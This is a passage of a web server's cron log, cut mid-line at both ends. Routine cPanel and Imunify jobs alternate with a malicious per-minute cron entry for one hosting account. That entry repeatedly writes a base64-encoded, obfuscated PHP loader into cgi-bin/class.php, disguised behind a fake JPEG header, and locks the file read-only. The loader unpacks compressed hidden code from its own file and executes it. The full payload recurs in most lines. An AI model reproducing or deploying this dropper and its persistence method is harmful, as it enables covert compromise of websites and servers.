MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:01:01 server run-parts(/etc/cron.hourly)[10904]: starting 0anacron
Sep  9 09:01:01 server run-parts(/etc/cron.hourly)[10926]: finished 0anacron
Sep  9 09:02:01 server CROND[11295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:02:01 server CROND[11296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:02:01 server CROND[11297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:03:01 server CROND[11778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:03:01 server CROND[11780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:03:01 server CROND[11779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:04:01 server CROND[12163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:04:01 server CROND[12164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:04:01 server CROND[12165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:05:01 server CROND[12603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:05:01 server CROND[12605]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:05:01 server CROND[12606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:05:01 server CROND[12607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:05:01 server CROND[12616]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:05:01 server CROND[12617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:05:01 server CROND[12619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:05:01 server CROND[12620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:06:01 server CROND[13454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:06:01 server CROND[13455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:06:01 server CROND[13463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:07:01 server CROND[13823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:07:01 server CROND[13824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:07:01 server CROND[13825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:08:01 server CROND[14307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:08:01 server CROND[14308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:08:01 server CROND[14309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:09:01 server CROND[14681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:09:01 server CROND[14682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:09:01 server CROND[14684]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 09:09:01 server CROND[14683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:10:01 server CROND[15060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:10:01 server CROND[15061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:10:01 server CROND[15062]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:10:01 server CROND[15064]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:10:01 server CROND[15069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:10:01 server CROND[15068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:10:01 server CROND[15067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:10:01 server CROND[15070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:11:01 server CROND[15906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:11:01 server CROND[15905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:11:01 server CROND[15907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:12:01 server CROND[16267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:12:01 server CROND[16268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:12:01 server CROND[16270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:12:01 server CROND[16271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:13:01 server CROND[16829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:13:01 server CROND[16830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SS